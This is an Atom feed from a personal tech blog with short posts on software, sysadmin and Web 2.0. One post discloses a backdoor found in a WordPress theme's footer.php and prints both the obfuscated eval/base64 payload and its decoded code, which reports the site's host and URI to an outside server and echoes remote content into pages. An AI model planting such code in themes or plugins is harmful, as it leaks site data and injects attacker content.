<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="/blog/templates/default/atom.css" type="text/css" ?>

<feed 
   xmlns="http://www.w3.org/2005/Atom"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    <link href="http://www.tellini.info/blog/feeds/atom.xml" rel="self" title="Simone 'Wiz' Tellini" type="application/atom+xml" />
    <link href="http://www.tellini.info/blog/"                        rel="alternate"    title="Simone 'Wiz' Tellini" type="text/html" />
    <link href="http://www.tellini.info/blog/rss.php?version=2.0"     rel="alternate"    title="Simone 'Wiz' Tellini" type="application/rss+xml" />
    <title type="html">Simone 'Wiz' Tellini</title>
    <subtitle type="html">To strive, to seek, to find, and not to yield.</subtitle>
    <icon>http://www.tellini.info/blog/templates/default/img/s9y_banner_small.png</icon>
    <id>http://www.tellini.info/blog/</id>
    <updated>2010-02-11T06:57:49Z</updated>
    <generator uri="http://www.s9y.org/" version="1.5.1">Serendipity 1.5.1 - http://www.s9y.org/</generator>
    <dc:language>en</dc:language>

    <entry>
        <link href="http://www.tellini.info/blog/archives/92-Software-reviews,-hints-and-tips.html" rel="alternate" title="Software reviews, hints and tips" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2010-02-11T06:48:11Z</published>
        <updated>2010-02-11T06:57:49Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=92</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=92</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/4-Software" label="Software" term="Software" />
    
        <id>http://www.tellini.info/blog/archives/92-guid.html</id>
        <title type="html">Software reviews, hints and tips</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                A new <a href="http://www.softwarecrew.co.uk">software reviews</a> site went live recently: <a href="http://www.softwarecrew.co.uk">Softwarecrew</a>.<br />
<br />
In my just-a-little-bit biased opinion, it's looking nice, but I should probably mention that I've worked on the <a href="http://wordpress.org/">WordPress </a>theme it uses, plus I did write a couple of WP extensions to help the reviewers with their job. <img src="http://www.tellini.info/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        <dc:subject>it &amp; technology</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>wordpress</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/91-A-cure-for-Firefox-freezing-on-download.cnet.com.html" rel="alternate" title="A cure for Firefox freezing on download.cnet.com" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-10-31T01:02:00Z</published>
        <updated>2009-10-31T01:02:00Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=91</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=91</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/5-TipsnTricks" label="Tips'n'Tricks" term="Tips'n'Tricks" />
    
        <id>http://www.tellini.info/blog/archives/91-guid.html</id>
        <title type="html">A cure for Firefox freezing on download.cnet.com</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                It's been a loooong time since I've been able to browse download.cnet.com without having Firefox freeze on article pages. Something's very nasty on that site (or Firefox/one of the plugins I use is very bugged). Some guy on <a href="http://forums.mozillazine.org/viewtopic.php?f=38&t=1551645">mozillazine</a> suggests to enable cookies from cnet.com, but I'd rather not: there must be another way <img src="http://www.tellini.info/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
Anyway, <a href="https://addons.mozilla.org/it/firefox/addon/1865">AdBlock</a> comes to rescue. Just add a filter blocking <strong>http://*.i.com.com/*.js</strong> and the problem vanishes. <img src="http://www.tellini.info/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/90-Old-memories-of-an-ancient-Internet-era....html" rel="alternate" title="Old memories of an &quot;ancient&quot; Internet era..." />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-10-28T19:41:00Z</published>
        <updated>2009-10-28T18:49:15Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=90</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=90</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/8-IT-Technology" label="IT &amp; Technology" term="IT &amp; Technology" />
    
        <id>http://www.tellini.info/blog/archives/90-guid.html</id>
        <title type="html">Old memories of an &quot;ancient&quot; Internet era...</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                This article is a must for people who was had a "web presence" 10 or more years ago: <a href="http://www.comedycentral.com/tosh.0/2009/10/26/goodbye-geocities/">http://www.comedycentral.com/tosh.0/2009/10/26/goodbye-geocities/</a><br />
<br />
Sometimes it's nice to look back at how things were and see all the progress that's been made since then. When I think at <a href="http://web.archive.org/web/19981205023554/http://www.pragmanet.it/~tellini/main.html">how my homepage looked in 1996</a> and compare it to the web applications I develop now for a living, with all the AJAX and <a href="http://script.aculo.us/">scriptaculous</a> fun, I can't help feeling <em>old</em>(ish). <img src="http://www.tellini.info/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        <dc:subject>history</dc:subject>
<dc:subject>internet</dc:subject>
<dc:subject>it &amp; technology</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/89-Quote-of-the-Day.html" rel="alternate" title="Quote of the Day" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-07-01T18:02:34Z</published>
        <updated>2009-07-01T18:02:34Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=89</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=89</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/8-IT-Technology" label="IT &amp; Technology" term="IT &amp; Technology" />
            <category scheme="http://www.tellini.info/blog/categories/3-Quotes" label="Quotes" term="Quotes" />
    
        <id>http://www.tellini.info/blog/archives/89-guid.html</id>
        <title type="html">Quote of the Day</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <blockquote><br />
So The Pirate Bay has executed the Web 2.0 business plan to perfection: give someone else's stuff away for free - then find a bigger idiot to buy the company.<br />
<br />
[...] in the case of Web 2.0, companies go from "pre-revenue" to "post-revenue" without any revenue in between. That's where you need a bigger idiot.<br />
</blockquote><br />
<br />
-- Andrew Orlowski, on <a href="http://www.theregister.co.uk/2009/06/30/pirate_bay_next_stop/">The Register</a> 
            </div>
        </content>
        <dc:subject>2.0</dc:subject>
<dc:subject>it &amp; technology</dc:subject>
<dc:subject>quotes</dc:subject>
<dc:subject>web</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/88-LogMiner-1.23.html" rel="alternate" title="LogMiner 1.23" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-06-30T17:42:32Z</published>
        <updated>2009-06-30T17:54:45Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=88</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=88</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/4-Software" label="Software" term="Software" />
            <category scheme="http://www.tellini.info/blog/categories/11-SysAdmin" label="SysAdmin" term="SysAdmin" />
    
        <id>http://www.tellini.info/blog/archives/88-guid.html</id>
        <title type="html">LogMiner 1.23</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Version 1.23 of <a href="http://logminer.sourceforge.net/"  title="LogMiner at SourceForge">LogMiner</a>, my Apache/IIS log analysis package, is now available.<br />
<br />
This release mainly fixes some build problem on modern distributions.<br />
<br />
Also it finally includes the <a href="http://tellini.info/blog/archives/48-LogMiner-purging-old-accesses.html">cleanup function</a> I was talking about <em>some</em> days ago... 
            </div>
        </content>
        <dc:subject>analysis</dc:subject>
<dc:subject>apache</dc:subject>
<dc:subject>iis</dc:subject>
<dc:subject>logminer</dc:subject>
<dc:subject>logs</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>sysadmin</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/87-Definition-of-the-Day-Web-2.0.html" rel="alternate" title="Definition of the Day - Web 2.0" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-06-15T23:33:15Z</published>
        <updated>2009-06-15T23:33:15Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=87</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=87</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/8-IT-Technology" label="IT &amp; Technology" term="IT &amp; Technology" />
    
        <id>http://www.tellini.info/blog/archives/87-guid.html</id>
        <title type="html">Definition of the Day - Web 2.0</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <blockquote><br />
<strong>Q:</strong> Web 2.0 - are we speaking from hindsight when we try to define it?<br />
<br />
<strong>A: </strong> We are speaking from no sight at all.<br />
<br />
"Web 2.0" is a catch word coined by Tim O'Reilly who was trying to sell books for his publishing company. In my opinion, it was the saddest moment of O'Reillys careeer as for the most part, he brings clarity to technology not gummy eyewash and wool.<br />
<br />
There is no spec, no standards committee, no list of particular technologies. It's just a vague slide made by O'Reilly that doesn't even include all the latest technologies and implies some are new that are not. <br />
[...]<br />
</blockquote><br />
<br />
-- read on <a href="http://www.linkedin.com/answers/technology/web-development/TCH_WDD/494237-31273956?browseIdx=11&sik=1245076024053&goback=.ach_TCH*4WDD.abq_2_1245076024053_n_o_TCH*4WDD">LinkedIn</a> 
            </div>
        </content>
        <dc:subject>2.0</dc:subject>
<dc:subject>buzzword</dc:subject>
<dc:subject>it &amp; technology</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>software development</dc:subject>
<dc:subject>web</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/86-I-do-hate-MySQL.html" rel="alternate" title="I do hate MySQL" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-06-12T17:25:43Z</published>
        <updated>2009-06-12T17:37:02Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=86</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=86</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/9-Software-Development" label="Software Development" term="Software Development" />
    
        <id>http://www.tellini.info/blog/archives/86-guid.html</id>
        <title type="html">I do hate MySQL</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I can't stand it, really.<br />
<br />
I'm using it at the moment only because I'm forced to. I can't help considering it as a toy DB, especially comparing it to PostgreSQL or SQL Server or any other <em>serious</em> RDBMS.<br />
<br />
The last thing that hit my nerve is <a href="http://bugs.mysql.com/bug.php?id=7831">this bug</a>. Come on... can't it even handle foreign keys in a decent way?<br />
<br />
And I'm trying not to think that it allows you to define a table with foreign keys and <a href="http://bugs.mysql.com/bug.php?id=17943">silently ignore them</a>.<br />
<br />
&lt;/rant&gt; 
            </div>
        </content>
        <dc:subject>mysql</dc:subject>
<dc:subject>rant</dc:subject>
<dc:subject>software development</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/85-Snow-Leopard-upgrade-at-29.html" rel="alternate" title="Snow Leopard upgrade at $29" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-06-09T02:48:08Z</published>
        <updated>2009-06-09T02:48:08Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=85</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=85</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/4-Software" label="Software" term="Software" />
    
        <id>http://www.tellini.info/blog/archives/85-guid.html</id>
        <title type="html">Snow Leopard upgrade at $29</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Hey, I'm following the <a href="http://www.appleinsider.com/articles/09/06/08/live_coverage_from_apples_worldwide_developers_conference.html">live coverage of WWDC</a> and just read this nice detail... that is a good price for a little update, Microsoft should learn a lesson or two... <img src="http://www.tellini.info/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        <dc:subject>leopard</dc:subject>
<dc:subject>mac os x</dc:subject>
<dc:subject>snow</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>upgrade</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/84-Dark-Room.html" rel="alternate" title="Dark Room" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-05-29T04:26:33Z</published>
        <updated>2009-05-29T04:26:33Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=84</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=84</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/2-Photography" label="Photography" term="Photography" />
    
        <id>http://www.tellini.info/blog/archives/84-guid.html</id>
        <title type="html">Dark Room</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                After having used and abused Big Huge Labs' <a href="http://bighugelabs.com/flickr/onblack.php">On Black</a> Flickr tool, I finally decided to start my very own <a href="http://darkroom.tellini.info/">Dark Room</a>.<br />
<br />
It'll be my personal black &amp; white photo gallery, a portfolio of sorts. 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/82-Backdoor-in-WordPress-themes.html" rel="alternate" title="Backdoor in WordPress themes?" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-05-27T02:55:15Z</published>
        <updated>2009-06-20T20:44:45Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=82</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=82</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/4-Software" label="Software" term="Software" />
    
        <id>http://www.tellini.info/blog/archives/82-guid.html</id>
        <title type="html">Backdoor in WordPress themes?</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I was looking for a theme to use in a WordPress blog and I stumbled on <a href="http://wptemplates.org/?p=313">this one</a>.<br />
<br />
Cool, I thought, I might use it... but... hey... why there's this weird stuff in <strong>footer.php</strong>?<br />
<div class="php geshi" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">&lt;?</span> <a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/gzinflate"><span style="color: #990000;">gzinflate</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0<br />NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC<br />ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc<br />5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL<br />vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/<br />b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5<br />p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa<br />hOh0EIT7b8A'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />&#160;</div><br />
Uhm... it looks very suspicious. Too suspicious. Let's change eval with die and check what's all that stuff:<br />
<div class="php geshi" style="text-align: left"><br /><a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /><span style="color: #000088;">$CodeURL</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://linkdock.com/content.php?id=&amp;host=&quot;</span><span style="color: #339933;">.</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_HOST&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;uri=&quot;</span><span style="color: #339933;">.</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_URI&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /><br /><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/get_cfg_var"><span style="color: #990000;">get_cfg_var</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <br />&#160; &#160; &#160;<a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <br />&#160; &#160; &#160;<a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;file_get_contents&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br /><br />&#160; &#160; &#160; &#160; <a href="http://www.php.net/echo"><span style="color: #990000;">echo</span></a> <span style="color: #339933;">@</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br /><br /><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/get_cfg_var"><span style="color: #990000;">get_cfg_var</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br /><br />&#160; &#160; &#160; &#160; <span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />&#160; &#160; &#160; &#160; <a href="http://www.php.net/echo"><span style="color: #990000;">echo</span></a> <span style="color: #339933;">@</span><a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br /><br /><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;curl_init&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br /><br />&#160; &#160; &#160; &#160; <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> curl_init<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />&#160; &#160; &#160; &#160; curl_setopt<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />&#160; &#160; &#160; &#160; curl_exec<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />&#160; &#160; &#160; &#160; curl_close<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br /><span style="color: #009900;">&#125;</span><br />&#160;</div><br />
Yep. It definitely looks like a backdoor.<br />
<br />
It seems that you can never be too much careful...<br />
<br />
(it seems like the first version I've download is different than the one on the site mentioned above, although there's still something evil in footer.php) 
            </div>
        </content>
        <dc:subject>backdoor</dc:subject>
<dc:subject>php</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>wordpress</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/81-FeedbackReporter-and-Mantis-integration.html" rel="alternate" title="FeedbackReporter and Mantis integration" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-05-02T21:23:30Z</published>
        <updated>2009-05-03T09:12:26Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=81</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=81</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/9-Software-Development" label="Software Development" term="Software Development" />
    
        <id>http://www.tellini.info/blog/archives/81-guid.html</id>
        <title type="html">FeedbackReporter and Mantis integration</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I've just written a small script to store reports generated by <a href="http://vafer.org/projects/feedbackreporter/" title="FeedbackReporter">FeedbackReporter</a> on a <a href="http://www.mantisbt.org/" title="Mantis Bug Tracker">Mantis</a> system.<br />
<br />
It should come handy to keep track of your application crashes (crash? uh? My apps never crash! <img src="http://www.tellini.info/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />)<br />
<br />
You can download it <a href="http://files.tellini.info/FRToMantis.zip" title="FeedbackReporter to Mantis">here</a>.<br />
<br />
Simply extract it on your webserver and edit <strong>config.php</strong> to adjust your settings.<br />
<br />
It can work in two ways: if you're installing it on the same server running mantis, set <strong>MANTIS_LOCAL</strong> to true and <strong>MANTIS_PATH</strong> to the root of your mantis installation.<br />
<br />
Otherwise, you can even install it on a different server and let it communicate with your mantis via SOAP. In order to do this, set <strong>MANTIS_LOCAL</strong> to false and edit <strong>MANTIS_URL</strong>. This setup needs the SOAP extension of PHP5, so make sure it's available.<br />
<br />
Feedback is welcome, of course. 
            </div>
        </content>
        <dc:subject>mac os x</dc:subject>
<dc:subject>mantis</dc:subject>
<dc:subject>software development</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/80-Perplexed-about-Ubuntus-sudoers-configuration.html" rel="alternate" title="Perplexed about Ubuntu's sudoers configuration" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-04-29T20:47:47Z</published>
        <updated>2009-04-29T20:47:47Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=80</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=80</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/11-SysAdmin" label="SysAdmin" term="SysAdmin" />
    
        <id>http://www.tellini.info/blog/archives/80-guid.html</id>
        <title type="html">Perplexed about Ubuntu's sudoers configuration</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Recently I've been administering my first Ubuntu machine and I already feel a bit perplexed about its security setup.<br />
<br />
The issue is that by default, the root account password is locked in Ubuntu and you are encouraged never to use root, but rely on sudoers for system administration.<br />
<br />
I've read the rationale on <a href="https://help.ubuntu.com/community/RootSudo">Ubuntu's wiki</a> and I agree on some points, but their mindset is totally biased towards a desktop setup.<br />
<br />
Let's consider these points from their site:<br />
<ul><br />
   <li> <blockquote><em>Benefits of using sudo: Users don't have to remember an extra password.</em></blockquote>  This is cool for Average Joe, but don't tell me that it's an advantage on a serious server: it's actually a downside, see the next point.<br />
   </li><br />
<br />
   <li><blockquote><em>Every cracker trying to brute-force their way into your box will know it has an account named root and will try that first. What they don't know is what the usernames of your other users are. Since the root account password is locked, this attack becomes essentially meaningless, since there is no password to crack or guess in the first place.</em></blockquote><br />
       Sure, the attack on root becomes useless, too bad that <a href="http://arstechnica.com/security/news/2008/05/strong-passwords-no-panacea-as-ssh-brute-force-attacks-rise.ars">SSH brute-force attacks</a> usually try <strong>lots</strong> of different usernames. If the manage to break a single account of a sudoer, they automatically have control of your machine. If you had to remember a different password to <a href="http://en.wikipedia.org/wiki/Su_(Unix)">su</a> your way, it would make their life a bit harder.<br />
   </li><br />
<br />
   <li><blockquote><em>Allows easy transfer for admin rights, in a short term or long term period, by adding and removing users from groups, while not compromising the root account.</em></blockquote><br />
       err... what does "not compromising the root account" actually mean? If I get admin rights, I can do whatever I want, including compromising any account. Unless I get authorisation just to run a limited set of commands through sudo, but that's not the point of this post.<br />
   </li><br />
<br />
   <li><blockquote><em>The root account password does not need to be shared with everybody who needs to perform some type of administrative task(s) on the system.</em></blockquote><br />
      ok, but what problem does it solve? (apart from avoiding people shouting the root password when they shouldn't <img src="http://www.tellini.info/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />)<br />
<br />
If I want to remove a person from the admin group, I need to trust her not to have planted any malicious program (rootkits, backdoors...) or rebuild the system if I'm paranoid, if I really want to be on the safe and paranoid side.<br />
<br />
IMHO, it's just the same as changing the root password when one is gone, or even better, periodically.<br />
   </li><br />
</ul><br />
<br />
I'm not convinced. I still prefer the common su approach typical of almost all the other distributions... 
            </div>
        </content>
        <dc:subject>security</dc:subject>
<dc:subject>ssh</dc:subject>
<dc:subject>su</dc:subject>
<dc:subject>sudo</dc:subject>
<dc:subject>sysadmin</dc:subject>
<dc:subject>ubuntu</dc:subject>

    </entry>
    <entry>
